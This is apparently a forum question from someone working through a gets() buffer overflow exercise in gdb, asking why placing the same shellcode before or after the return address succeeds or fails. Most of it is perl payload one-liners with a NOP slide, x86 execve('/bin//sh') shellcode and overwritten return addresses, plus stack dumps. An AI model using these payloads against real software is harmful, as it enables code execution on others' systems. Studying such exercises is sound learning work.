Buffer Overflow - Position of shellcode leads to failure or success - Why?

I am trying to solve a simple gets() buffer overflow challenge.

(gdb) run < <(perl -e 'print "A"x71 . "BBBB"')
Starting program: /tmp/test01 < <(perl -e 'print "A"x71 . "BBBB"')

Breakpoint 1, 0x0804847c in main ()
(gdb) x/48wx $esp
0xffffd574: 0x41414154  0x41414141  0x41414141  0x41414141
0xffffd584: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd594: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd5a4: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd5b4: 0x41414141  0x41414141  0x42424242  0x00000000
0xffffd5c4: 0xffffd654  0xffffd65c  0x00000000  0x00000000
0xffffd5d4: 0x00000000  0xf7fc5000  0xf7ffdc0c  0xf7ffd000
0xffffd5e4: 0x00000000  0x00000001  0xf7fc5000  0x00000000
0xffffd5f4: 0x17afc61c  0x2d40ca0c  0x00000000  0x00000000
0xffffd604: 0x00000000  0x00000001  0x08048350  0x00000000
0xffffd614: 0xf7fee710  0xf7e2a199  0xf7ffd000  0x00000001
0xffffd624: 0x08048350  0x00000000  0x08048371  0x0804844b
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) 

In the first approach I put the shellcode after the ret value at the end of a NOP slide. This approach is successful. In my second approach I put the shellcode (same as in first test) before the ret but also at the end of a NOP slide. This approach fails.

I would like to understand what is causing the different behaviour.

Successful attempt 1:

(gdb) run < <(perl -e 'print "A"x71 . "\xd0\xd5\xff\xff" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
Starting program: /tmp/test01 < <(perl -e 'print "A"x71 . "\xd0\xd5\xff\xff" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')

Breakpoint 1, 0x0804847c in main ()
(gdb) x/48wx $esp
0xffffd574: 0x41414154  0x41414141  0x41414141  0x41414141
0xffffd584: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd594: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd5a4: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd5b4: 0x41414141  0x41414141  0xffffd5d0  0x90909090
0xffffd5c4: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd5d4: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd5e4: 0x90909090  0x90909090  0x90909090  0xc0319090
0xffffd5f4: 0x2f2f6850  0x2f686873  0x896e6962  0x895350e3
0xffffd604: 0xb0c289e1  0x0080cd0b  0x08048350  0x00000000
0xffffd614: 0xf7fee710  0xf7e2a199  0xf7ffd000  0x00000001
0xffffd624: 0x08048350  0x00000000  0x08048371  0x0804844b
(gdb) c
Continuing.
process 11598 is executing new program: /bin/dash

Failed attempt 2:

(gdb) run < <(perl -e 'print "\x90"x40 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x6 . "\x80\xd5\xff\xff"')
Starting program: /tmp/test01 < <(perl -e 'print "\x90"x40 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x6 . "\x80\xd5\xff\xff"')

Breakpoint 1, 0x0804847c in main ()
(gdb) x/48wx $esp
0xffffd574: 0x90909054  0x90909090  0x90909090  0x90909090
0xffffd584: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd594: 0x90909090  0x90909090  0x50c03190  0x732f2f68
0xffffd5a4: 0x622f6868  0xe3896e69  0xe1895350  0x0bb0c289
0xffffd5b4: 0x909080cd  0x90909090  0xffffd580  0x00000000
0xffffd5c4: 0xffffd654  0xffffd65c  0x00000000  0x00000000
0xffffd5d4: 0x00000000  0xf7fc5000  0xf7ffdc0c  0xf7ffd000
0xffffd5e4: 0x00000000  0x00000001  0xf7fc5000  0x00000000
0xffffd5f4: 0x0ca610c5  0x36491cd5  0x00000000  0x00000000
0xffffd604: 0x00000000  0x00000001  0x08048350  0x00000000
0xffffd614: 0xf7fee710  0xf7e2a199  0xf7ffd000  0x00000001
0xffffd624: 0x08048350  0x00000000  0x08048371  0x0804844b
(gdb) c
Continuing.

Program received signal SIGILL, Illegal instruction.
0xffffd5ae in ?? ()

If I slightly adjust the position of the shellcode I get a SIGSEV instead of a SIGILL:

(gdb) run < <(perl -e 'print "\x90"x37 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x9 . "\x80\xd5\xff\xff"')
Starting program: /tmp/temp01 < <(perl -e 'print "\x90"x37 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x9 . "\x80\xd5\xff\xff"')
Password: Authentication failure.
Sorry.

Breakpoint 1, 0x0804847c in main ()
(gdb) x/48wx $esp
0xffffd574: 0x90909054  0x90909090  0x90909090  0x90909090
0xffffd584: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd594: 0x90909090  0xc0319090  0x2f2f6850  0x2f686873
0xffffd5a4: 0x896e6962  0x895350e3  0xb0c289e1  0x9080cd0b
0xffffd5b4: 0x90909090  0x90909090  0xffffd580  0x00000000
0xffffd5c4: 0xffffd654  0xffffd65c  0x00000000  0x00000000
0xffffd5d4: 0x00000000  0xf7fc5000  0xf7ffdc0c  0xf7ffd000
0xffffd5e4: 0x00000000  0x00000001  0xf7fc5000  0x00000000
0xffffd5f4: 0xb97731b9  0x83983da9  0x00000000  0x00000000
0xffffd604: 0x00000000  0x00000001  0x08048350  0x00000000
0xffffd614: 0xf7fee710  0xf7e2a199  0xf7ffd000  0x00000001
0xffffd624: 0x08048350  0x00000000  0x08048371  0x0804844b
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xffffd5ab in ?? ()

Why does the second approach not also result in a successful exploitation but rather a SIGILL or SIGSEGV?

UPDATE 01: After further testing, my assumption now is that in the failed attempts, following code in the program or even the shellcode itself?! is affecting my shellcode on the stack. If I use only a short NOP slide and have the shellcode placed right at the beginning, my tests are also successful.

(gdb) run < <(perl -e 'print "\x90"x10 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x36 . "\x78\xd5\xff\xff"')